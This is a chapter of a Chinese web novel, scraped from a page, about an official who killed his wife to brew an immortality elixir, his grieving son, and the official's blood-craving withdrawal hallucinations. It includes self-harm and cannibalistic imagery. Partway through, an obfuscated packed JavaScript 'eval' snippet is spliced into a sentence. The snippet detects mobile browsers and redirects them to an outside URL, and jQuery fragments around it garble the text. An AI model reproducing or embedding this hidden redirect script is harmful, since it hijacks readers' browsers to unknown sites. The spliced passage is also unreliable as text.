八月十五,中秋节,子虚观,天边出现月亮的轮廓,傍晚晒下昏光。
韦愿在大殿上了三炷香,起身到门外等候张武陵,他垂着眼,泪沟深刻,透着生人勿近的疏离。
不多时张武陵推门而出,身穿绯袍,佩躞蹀带,衣袂生风,好似进士及第赴琼林宴,又好似高朋满座结良缘。
“时辰到了,我先下山。”
饮马园注定多生事端,张武陵不想让韦愿牵扯进来,就在子虚观远离是非。
绯红的衣裳擦身而过,韦愿拽住他的手腕说道:“……公子,不如你不要去……”
张武陵抽开手道:“我是一定要去的,不必拦我。”
韦愿徒劳无功,抿着唇,低声说:“公子早早归来。”
夫子庙的檀香融进风里,吹动屋檐下的红灯笼,两岸张灯结彩,游人观潮,儿童嬉水,女子结队而游,名曰走月亮。
外面热火朝天,里面却一潭死水。
紫薇馆中紫薇花遮眼,门庭关闭,因姨母徐颜稚想念,此间主人去了饮马园养病,暂住复醒轩。轩中案头上,桃花枝斜倚花瓶,粉蜡请柬孤零零放在桌上。
即便杜磊堂作茧自缚,不再酬酢,连杜磊堂也弃之如敝履,漠不关心,多广社但凡宴饮酬唱都要送一份请柬过来。
这些对杜炼微毫无意义,他常常看着左手的卦爻落泪——上卦为兑,下卦为坎,泽水困。
延嘉十四年春天,状元及第,春风得意,抵不过王志仙急病而死的噩耗,杜磊堂哭晕过去好几回,短短半月形销骨立。
不是说去祭祖吗?不是说小小的风寒?不是说病养得差不多了?这些捎给他的口信都是假的吗?
王志仙的遗体送回金陵时不腐不烂,散发出浓烈的防腐香味,面容犹如生时。入殓当天,杜磊堂抱尸入棺,王志仙掌心的伤疤映入他眼中,一个困卦。
“娘,您遇到难事了吗?您……有什么未了的心愿?”
王志仙的随葬品是她平生所著诗集,玉箫古琴和常用的妆匣,杜炼微只留下一柄玉匕首。
民间偏方,枕下放刀可防噩梦,杜炼微自小睡不好,觉轻梦多,王志仙听说这个偏方后把嫁妆里的玉匕首压在他枕头底下,然而丧母之痛摧心裂肺,杜炼微梦魇缠身。
他想不明白困卦,想不通母亲死了父亲却无动于衷,他想不开,只好拿玉匕首划伤手臂,借□□的苦痛缓解心灵的折磨。
永平元年,元宵灯会将将开始,杜炼微的精神有些许好转,半夜一个白头发的信差闯入紫薇馆,扔给他一封信。
“大老爷令我传话,他怜你失恃,不忍见你蒙昧无知,特来告知原委。”
书信不长,落款是丁谑,字字句句骇人听闻,信上道明杜磊堂为求长生,残害王志仙的真相,并附上紫金葫芦耳环为证。
“王志仙临死之前口口声声要报仇,你身为人子,恩重还是仇深,好自为之。”白发信差捎了话,消失在灯火阑珊处。
杜炼微肝肠寸断,痴傻的时间更长了,他在似梦非梦的徘徊中,无数次将雪亮的刀光捅进杜磊堂的胸口。
“他送来的耳环比徽儿这枚多了颗珍珠。”徐颜稚满腹疑团。
邝徽的三色锦囊装着第二枚紫金葫芦耳环和一封遗书,遗书写了蓝胜青的来历和她的遗愿。
延嘉十三年立夏,蓝胜青十岁,跟随王志仙北上祭拜先祖,路上王志仙发觉有异,车队却一昧前进。
“一天我发起高热,夫人跟老爷据理力争,将我送至医馆治病,又取下一枚耳环说:假如她没有平安回去,便以此信物,请老师彻查她的死因。”
蓝胜青说到这,泪如雨下。当年看顾她的管事把她丢在荒郊野外,她命大,被哭婆捡回去跟着她做哭灵人。几年后哭婆去世,蓝胜青一路辗转,今年三月才回到金陵。
她打听到延嘉十四年王志仙归来已是一副棺材,深觉其中有鬼,便至绿绮楼寻找邝徽。
可是邝徽油尽灯枯,大哭一场之后拖着病骨去了一趟杜宅,见了眼空心空的杜炼微,最后用自己的死期谋划,下帖子请杜磊堂一见。
信的结尾是邝徽的斑斑泪痕:“天如有灵,赏善罚恶,必让我做鬼缉凶索命,不叫志仙冤死!”
两封书信拼凑出王志仙之死的始末,绿绮楼吊丧后,杜炼微陷入浑浑噩噩的状态,好在今日他分外清醒。
“姨母,胜儿,今夜连累你们涉险了。”
“谈不上连累,我们都是为了志仙。”
玉匕首置于怀中,杜炼微吞下一丸三陈避秽丹。
叩叩。
王志仙敲门,照影婉约,双耳的紫金葫芦耳环沁出紫霞似的光:“夫君,徐义公派人问询,你不是答应去饮马园赏花么,怎地迟了?”
杜磊堂霎时惊出一身冷汗,攥在手里的纸稿差点破裂。
“我……咳,我没事,稍后便到。”
“那就好。”王志仙的话语中藏不住担忧。
杜家短寿,年前杜磊堂的长兄杜光逸病逝,今年早春便轮到杜磊堂心疾发作,不得已归乡养病,闲暇时间校勘古籍。
祖父杜骏眉的手稿夹在他常看的史书中间,纸张满是灰尘的味道,内容简直匪夷所思——杜家是从桃花公主坟迁出来的一个旁支,主家残害人命,炼制长生不老药【换仙丹】,杜骏眉不愿多有牵扯,慢慢地断了联系。
长生不老药?杜磊堂心神动荡。
“杜兄你常驻京城,今抱恙归乡,我却有一件宝贝要送与你。”
“什么宝贝?”杜磊堂心不在焉,脑中转着【换仙丹】三个字。
要说全天下找不出第二个像徐义公这样宽厚仁德的人了,他出身富贵,父兄在朝担任要职,大儿子也争气,考中了举人,唯一的烦恼是小儿子身子骨弱,隔三差五就要病一遭。他自己无官一身轻,平日里最爱济寒赈贫,扶危救困。
妹夫杜光逸病逝,徐义公悲痛之余,也有些担心杜磊堂的身体。他们是同窗,交情匪浅。
徐义公打开一个玉匣子,盛着一颗金灿灿的丹药。
“这是官员富商之间流行的补药,可以延年益寿,效果比三陈避秽丹更好,老兄若有需要,我即刻帮你置办。”
杜磊堂深黑的瞳孔映着金丹,缓缓提起一个笑容:“不了,家中已备好仙药。”
换仙丹要用碧血红莲入药,莲子却需活人做药引,用挚爱亲朋炼出来的药效最好,杜磊堂贪心,以祭拜祖先为由劝服王志仙北上,成了他的替死鬼。
他在杂书里读过一则故事:江河边多伥鬼,他们作祟引诱活人,拉下水中淹死做替死鬼,自己就可以投胎转世。
扑通。
杜磊堂猛然惊醒,方知是梦。
他梦见自己变成鬼魅淹死王志仙,夺走她的寿数添在自己的生死簿上,他梦见不曾见过的张武陵在屏风后,在月桂香气中,将他杀死在棋局里。
五年前杜磊堂放任金丹案发酵,推波助澜,然后在恰当的时机扑灭丹炉之火,重回朝堂,扶摇直上。
最惊喜欲狂的是,桃花公主坟终于送来两颗雪白清莹的换仙丹。
昔嫦娥吞灵药而奔月,杜磊堂只求以换仙丹不死,他服下一颗,另一颗用红线穿了孔,当珍珠坠儿随身佩戴。
扑通。
不是梦!
扼死园中贼,扯断珍珠坠,两条性命掉下水井。
杜磊堂一呼一吸,口中泛起酸涩的水,桂花油的香气侵入肺腑,洗漱的热水浮起雾气,透窗的微光一照,脸上留下水蛇般的影子。
“丞相好生见外,退步抽身,怎不到瓶屋知会一声?”
杜磊堂睁开眼睛,果然高鸿渐近在咫尺,左眼下一道横开的伤痕,往下沁血,身穿绯袍玉束带,不像武将,像文臣,对他永远是冷冰冰的脸色。
“我好像忽略什么东西。”杜磊堂若有所思
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17533065|203007||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
“过来,我告诉你。”高鸿渐仿佛苍白的画纸,鲜血滴落,在水中绽开红莲。
杜磊堂洁癖发作,死死盯住他的血肉。
伤口细长,鱼鳞划开似的,恰到好处地见血,血光没有凝固,堕下半面红泪,血气交织水雾,好比酒酽花浓,使观者嗅者心醉神迷。
杜磊堂唇焦口燥。
嘀嗒,嘀嗒,嘀嗒。
尖锐的耳鸣过后,杜磊堂惊觉自己在啃噬高鸿渐的脸庞,白骨森森,血流如注,那美妙而解渴的鲜血灌进他的喉咙,吞咽不及,哗啦啦聚成河川,淹没两人头顶。
“咳咳!”杜磊堂挣脱水牢,气喘吁吁,惊魂不定,就像水里的鬼,差点又溺死在水中。
换仙丹一年一服,五年而愈,中途停药不仅旧病复发,还会神魂颠倒,堕入镜花水月。这个春天丁谑死了,杜磊堂的最后一颗药没了。
他开始出现幻觉,幻觉千奇百怪,乱人心魄。中秋夜,杀意和食欲搅在一起,不得安宁——太恶心了!
每年吃下换仙丹他都会感到口渴,越饮则越渴,这渴念令人发狂,指甲从下颌抓挠到脖子,抓得血肉淋漓也不能缓解喉咙的痒意,恨不能饮鸩止渴。
丁谑说他是心因疾病,别人没有这个症状。
杜磊堂最厌恶纵情恣欲,宁愿饮下安神汤睡一个日夜,醒来那作恶的心便安稳不少。
仅有一次失策是第一回犯病,珍珑棋局外下着桂花雨,屏风照出张武陵的侧影,杜磊堂招揽不成,渴症却发作了,他不知是病,在饮马园忍耐半天,将一个奴仆推下水井。
杜磊堂的罪孽下十八层地狱都算便宜了,回头到了阴曹地府,他什么罪都认,但他要活得长长久久,他要活够了再去死。
饮马园丢失的换仙丹是最后的希望。
洗澡水变得冰凉,杜磊堂打了个寒噤,恍然大悟。
他想起来了!无怪乎去年腊月到桃花公主坟催讨换仙丹,看见一个弹琴的身影如此眼熟。
“丁悱恻前几天跟我闹脾气,今日才安静下来,你切不能去打扰他。”丁谑十二三岁的少年模样,却口称长辈,怪诞不经。
杜磊堂面露嫌恶:“我没你这种怪癖。”
丁谑的双颊提起巨大的笑容:“你呢?你吃人而已。”
裹在白狐裘中的躯体看似弱小,双手却沾满血腥,说话像大冬天毒蛇爬过脚背,令人毛骨悚然。
“你自己弄丢换仙丹,碧血红莲可没那么好养,明年中秋之前我会炼好送去,到时可别翻脸不认人。”
“跟你翻脸没什么好处。”杜磊堂撑起油纸伞遮挡雪珠,隔着茫茫风雪,他的视线穿过琉璃池,觑了眼亭中弹琴的男人。
“高鸿渐竟然被丁谑抓去做药引!他死了?”
杜磊堂再三思量,而后否定了这个想法。
——皇帝厌弃高鸿渐,将他拘禁在瓶屋中,他肯定是潜逃在外,一时不慎陷落桃花公主坟,遭丁谑奴役,他既能逃出瓶屋,区区仙桃山又有何难?
杜磊堂兴奋得浑身战栗。
月挂中天,帷轿走得四平八稳,杜磊堂坐在里头跟云一样轻飘飘,心思浮躁,着不了地。
苍白的月色仿佛冷酷的目光,不带一丝感情地注视着四人抬的大轿,在这样的注视中,仿佛置身肃杀的漫天风雪。
“老爷,到了。”
随从的声音打断杜磊堂的思绪,他下了轿子,在徐义公等人的簇拥下走进饮马园。
延嘉十六年大雪,太白星划破长空,是夜万籁俱静,裕王宫变,太子率兵讨贼,诛杀逆臣。
第二天清晨,一切如常,又什么都变了。
皇帝殡天,太子即位。
杜磊堂在宫门处与声名显赫的大将军狭路相逢,他太过年轻,穿大红朝服,靸乌履,气势之盛盖过颜色之殊,杜磊堂霎时间闪过一个念头:
高鸿渐的血肉,肯定好吃。